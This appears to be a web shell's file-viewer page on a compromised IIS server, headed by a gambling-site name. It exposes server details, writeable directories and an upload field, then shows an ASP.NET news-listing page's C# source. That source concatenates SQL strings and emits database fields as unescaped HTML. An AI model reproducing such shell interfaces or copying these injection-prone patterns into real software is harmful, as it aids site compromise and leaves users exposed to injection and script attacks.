918博天堂

Server : Microsoft-IIS/10.0
System : Windows NT EBS-6136 10.0 build 17763 (Windows Server 2016) i586
User : jxgj ( 0)
PHP Version : 7.0.33
Disable Function : passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server
Directory :  D:/tmp_aspnet/root/cae6aa2e/15328683/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : D:/tmp_aspnet/root/cae6aa2e/15328683/App_Web_udtjoghq.3.cs
?#pragma checksum "D:\wwwroot\anlian2025\wwwroot\News.aspx.cs" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "FEE8363306B86D990D03E2E5DC32E8CA2F776276"

#line 1 "D:\wwwroot\anlian2025\wwwroot\News.aspx.cs"
using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Data.SqlClient;
using System.Text.RegularExpressions;
using WebApp.Components;
using System.Text;
using basic;

public partial class News2 : System.Web.UI.Page
{
    public MyClass mc = new MyClass();
    public int intClassID;
    public string strParentColumnName = null;
    public string strParentColumnSubName = null;
    public string strColumnName = null;
    public string strColumnSubName = null;
    public string strPath = null;
    int intRowCount;//用来纪录总纪录数
    public BasicPage bp = new BasicPage();
    public SystemTools systemtools = new SystemTools();
    public string yangban;
    protected void Page_Load(object sender, EventArgs e)
    {

        intClassID = basic.Tools.RequestClass.GetQueryInt("ClassID", 0);
        page = basic.Tools.RequestClass.GetQueryInt("page", 1);

        //挪用类
        Common common = new Common();

        #region 显示栏目名称

        //显示栏目名称
        ClientColumnName clientcolumnname = new ClientColumnName();
        clientcolumnname = common.showColumnName(intClassID);
        strColumnName = clientcolumnname.ColumnName;
        strColumnSubName = clientcolumnname.ColumnSubName;
        #endregion

        #region 显示父级栏目名称

        //显示父级栏目名称
        ClientParentColumnName clientparentcolumnname = new ClientParentColumnName();
        clientparentcolumnname = common.showParentColumnName(intClassID);
        strParentColumnName = clientparentcolumnname.ParentColumnName;
        strParentColumnSubName = clientparentcolumnname.ParentColumnSubName;

        #endregion

        if (!Page.IsPostBack)
        {
            strsql = ComSQL(intClassID);
            orderby = "Paixu desc,Istop desc,CONVERT(varchar(100),Putdate,23) desc,id desc";
            RptBind(strsql, orderby);
        }

        //读取整站SEO的设相信息
        ClientSEO clientseo = common.showSEO();
        this.Title = strColumnName + "-" + mc.ShowWebsiteKeyById(1, "CompanyName");
        description.Attributes["content"] = clientseo.WebDescription;
        keywords.Attributes["content"] = strColumnName + "," + mc.ShowWebsiteKeyById(1, "CompanyName");

        #region 读取某个栏主张SEO设相信息

        ClientColumnSEO clientcolumnseo = common.showColumnSEO(intClassID);
        if (clientcolumnseo.ColumnTitle.Length > 0)
        {
            this.Title = clientcolumnseo.ColumnTitle;
        }
        if (clientcolumnseo.ColumnDescription.Length > 0)
        {
            description.Attributes["content"] = clientcolumnseo.ColumnDescription;
        }
        if (clientcolumnseo.ColumnKeywords.Length > 0)
        {
            keywords.Attributes["content"] = clientcolumnseo.ColumnKeywords;
        }
        #endregion



        NewsZidingyi.Visible = false;
        NewsMoban.Visible = false;
        yangban = mc.ShowColumnKeyById(intClassID, "Sample");
        if (yangban == "" || yangban == "99")
        {
            NewsZidingyi.Visible = true;
            GetMobanhtml();
        }
        else
        {
            NewsMoban.Visible = true;
            GetMobanhtml();
        }
    }

    #region 分页 绑定数据

    public string strsql, orderby;
    public DataSet dsNews = new DataSet();
    public int intNews;
    public int intTotalCount = 1;
    public int intUnm = 0;//共几多笔纪录
    public int page = 1;//第几页
    public int Num;//前几多页
    public int pageNum = 10;//每页的页数
    private void RptBind(string _strWhere, string _orderby)
    {
        Num = (page - 1) * pageNum;
        showpageNum();//总数
        intTotalCount = ShowintTotalCount(intUnm, pageNum);

        StringBuilder strSql1 = new StringBuilder();
        strSql1.Append("select top " + pageNum + " * from News ");
        strSql1.Append(" where ");
        strSql1.Append(_strWhere);
        strSql1.Append(" and Id not in ");
        strSql1.Append(" ( ");
        strSql1.Append(" select top " + Num + " id from News ");
        strSql1.Append(" where  ");
        strSql1.Append(_strWhere);
        strSql1.Append(" order by ");
        strSql1.Append(_orderby);
        strSql1.Append(" ) ");
        strSql1.Append(" order by ");
        strSql1.Append(_orderby);

        dsNews = bp.SelectDataBase("News", strSql1.ToString());
        intNews = dsNews.Tables[0].Rows.Count;

        this.DataList2.DataSource = dsNews;
        this.DataList2.DataBind();

    }
    //总条数
    protected void showpageNum()
    {
        SqlDataReader myread = bp.getRead("select count(id) as CountId from News where " + strsql);
        if (myread.Read())
        {
            intUnm = Convert.ToInt32(myread["CountId"].ToString());
        }
        myread.Close();
    }

    //推算一共几多页
    public int ShowintTotalCount(int Total, int PageSize)
    {
        if (Total % PageSize == 0)
        {
            return Total / PageSize;
        }
        else
        {
            return Total / PageSize + 1;
        }
    }
    //sql组合

    public string ComSQL(int classid)
    {
        StringBuilder strSql = new StringBuilder();
        strSql.Append(" Id >0 and StaticPage<>'2' ");
        if (classid > 0)
            strSql.Append(" and ClassId=" + classid);
        return strSql.ToString();
    }
    #endregion

    public string CheckUrl(string url, string id)
    {
        if (!string.IsNullOrEmpty(url) && url.Contains("http"))
        {
            return url + "\" target=\"_blank";
        }
        return "NewsDetail.aspx?ID=" + id;
    }
    public string strhtml = "";
    public void GetMobanhtml()
    {

        if (yangban == "1" || yangban == "" || yangban == "99")
        {
            strhtml += "<div class=\"Ml_temlpate_news\">";
            strhtml += "<div class=\"Ml_temlpate_news_1\">";
            for (int i = 0; i < intNews; i++)
            {
                strhtml += "<div class=\"newitem1\">";
                strhtml += "<div class=\"newitem1_top\">";
                strhtml += "<a href=\"" + CheckUrl(dsNews.Tables[0].Rows[i]["Url"].ToString(), dsNews.Tables[0].Rows[i]["Id"].ToString()) + "\">"+ dsNews.Tables[0].Rows[i]["title"].ToString() +"</a>";
                strhtml += "<span>" + Convert.ToDateTime(dsNews.Tables[0].Rows[i]["putdate"]).ToString("yyyy-MM-dd") + "</span>";
                strhtml += "</div>";
                strhtml += "<div class=\"newitem1_bot\"><span>"+ dsNews.Tables[0].Rows[i]["keycontent"].ToString() + "</span></div>";
                strhtml += "</div>";
            }
            strhtml += "</div>";
            strhtml += "</div>";
        }
        else if (yangban == "2")
        {
            strhtml += "<div class=\"Ml_temlpate_news\">";
            strhtml += "<div class=\"Ml_temlpate_news_2\">";
            for (int i = 0; i < intNews; i++)
            {
                strhtml += "<div class=\"newitem2\">";
                strhtml += "<div class=\"newitem2left\">";
                strhtml += "<strong>" + Convert.ToDateTime(dsNews.Tables[0].Rows[i]["putdate"]).ToString("dd") + "</strong>";
                strhtml += "<p>" + Convert.ToDateTime(dsNews.Tables[0].Rows[i]["putdate"]).ToString("yyyy/MM") + "</p>";
                strhtml += "</div>";
                strhtml += "<div class=\"newitem2right\">";
                strhtml += "<a href=\"" + CheckUrl(dsNews.Tables[0].Rows[i]["Url"].ToString(), dsNews.Tables[0].Rows[i]["Id"].ToString()) + "\">" + dsNews.Tables[0].Rows[i]["title"].ToString() + "</a>";
                strhtml += "<p>" + dsNews.Tables[0].Rows[i]["keycontent"].ToString() + "</p>";
                strhtml += "</div>";
                strhtml += "</div>";
            }
            strhtml += "</div>";
            strhtml += "</div>";
        }
        else if (yangban == "3")
        {
            strhtml += "<div class=\"Ml_temlpate_news\">";
            strhtml += "<div class=\"Ml_temlpate_news_3\">";
            for (int i = 0; i < intNews; i++)
            {
                strhtml += "<div class=\"newitem3\">";
                strhtml += "<div class=\"newitem3con\">";
                strhtml += "<a href=\"" + CheckUrl(dsNews.Tables[0].Rows[i]["Url"].ToString(), dsNews.Tables[0].Rows[i]["Id"].ToString()) + "\">";
                strhtml += "<img src=\"" + dsNews.Tables[0].Rows[i]["Path"].ToString() + "\" alt=\""+ dsNews.Tables[0].Rows[i]["title"].ToString() + "\">";
                strhtml += "</a>";
                strhtml += "<a href=\"" + CheckUrl(dsNews.Tables[0].Rows[i]["Url"].ToString(), dsNews.Tables[0].Rows[i]["Id"].ToString()) + "\" class=\"newitem2_title\">"+ dsNews.Tables[0].Rows[i]["title"].ToString() + "</a>";
                strhtml += "<p>" + dsNews.Tables[0].Rows[i]["keycontent"].ToString() + "</p>";
                strhtml += "</div>";
                strhtml += "</div>";
            }
            strhtml += "</div>";
            strhtml += "</div>";
        }
        else if (yangban == "4")
        {
            strhtml += "<div class=\"Ml_temlpate_news\">";
            strhtml += "<div class=\"Ml_temlpate_news_4\">";
            strhtml += "<div class=\"newitem4\">";
            for (int i = 0; i < intNews; i++)
            {
                if (i < 2)
                {
                    if (i == 0)
                    {
                        strhtml += "<div class=\"newitem4_top\"><div class=\"Ml_temlpate_news_3\">";
                    }
                    strhtml += "<div class=\"newitem3\">";
                    strhtml += "<div class=\"newitem3con\">";
                    strhtml += "<a href=\"" + CheckUrl(dsNews.Tables[0].Rows[i]["Url"].ToString(), dsNews.Tables[0].Rows[i]["Id"].ToString()) + "\">";
                    strhtml += "<img src=\"" + dsNews.Tables[0].Rows[i]["Path"].ToString() + "\" alt=\"" + dsNews.Tables[0].Rows[i]["title"].ToString() + "\">";
                    strhtml += "</a>";
                    strhtml += "<a href=\"" + CheckUrl(dsNews.Tables[0].Rows[i]["Url"].ToString(), dsNews.Tables[0].Rows[i]["Id"].ToString()) + "\" class=\"newitem2_title\">" + dsNews.Tables[0].Rows[i]["title"].ToString() + "</a>";
                    strhtml += "<p>" + dsNews.Tables[0].Rows[i]["keycontent"].ToString() + "</p>";
                    strhtml += "</div>";
                    strhtml += "</div>";
                    if (i == 1 || i == intNews - 1)
                    {
                        strhtml += "</div></div>";
                    }
                }
                else
                {
                    if (i == 2)
                    {
                        strhtml += "<div class=\"newitem4_bot\"><ul>";
                    }
                    strhtml += "<li>";
                    strhtml += "<div class=\"li_left\">";
                    strhtml += "<strong>" + Convert.ToDateTime(dsNews.Tables[0].Rows[i]["putdate"]).ToString("MM/dd") + "</strong>";
                    strhtml += "<p>" + Convert.ToDateTime(dsNews.Tables[0].Rows[i]["putdate"]).ToString("yyyy") + "</p>";
                    strhtml += "</div>";
                    strhtml += "<div class=\"li_line\"></div>";
                    strhtml += "<div class=\"li_right\">";
                    strhtml += "<a href = \"" + CheckUrl(dsNews.Tables[0].Rows[i]["Url"].ToString(), dsNews.Tables[0].Rows[i]["Id"].ToString()) + "\">" + dsNews.Tables[0].Rows[i]["title"].ToString() + "</a>";
                    strhtml += "<span>" + dsNews.Tables[0].Rows[i]["keycontent"].ToString() + "</span>";
                    strhtml += "</div>";
                    strhtml += "</li>";

                    if (i == intNews - 1)
                    {
                        strhtml += "</ul></div>";
                    }
                }
            }
            strhtml += "</div>";
            strhtml += "</div>";
            strhtml += "</div>";
        }
        else if (yangban == "5")
        {
            strhtml += "<div class=\"Ml_temlpate_news\">";
            strhtml += "<div class=\"Ml_temlpate_news_5\">";
            for (int i = 0; i < intNews; i++)
            {
                strhtml += "<div class=\"newitem5\">";
                strhtml += "<div class=\"newitem5_left\">";
                strhtml += "<a href=\"" + CheckUrl(dsNews.Tables[0].Rows[i]["Url"].ToString(), dsNews.Tables[0].Rows[i]["Id"].ToString()) + "\">";
                strhtml += "<img src=\"" + dsNews.Tables[0].Rows[i]["Path"].ToString() + "\" alt=\"" + dsNews.Tables[0].Rows[i]["title"].ToString() + "\">";
                strhtml += "</a>";
                strhtml += "</div>";
                strhtml += "<div class=\"newitem5_right\">";
                strhtml += "<div class=\"newitem5_right_top\">";
                strhtml += "<a href=\"" + CheckUrl(dsNews.Tables[0].Rows[i]["Url"].ToString(), dsNews.Tables[0].Rows[i]["Id"].ToString()) + "\">" + dsNews.Tables[0].Rows[i]["title"].ToString() + "</a>";
                strhtml += "<span>" + Convert.ToDateTime(dsNews.Tables[0].Rows[i]["putdate"]).ToString("yyyy-MM-dd") + "</span>";
                strhtml += "</div>";
                strhtml += "<div class=\"newitem5_right_bot\">";
                strhtml += "<p>" + dsNews.Tables[0].Rows[i]["keycontent"].ToString() + "</p>";
                strhtml += "</div>";
                strhtml += "</div>";
                strhtml += "</div>";
            }
            strhtml += "</div>";
            strhtml += "</div>";
        }
    }
}




#line default
#line hidden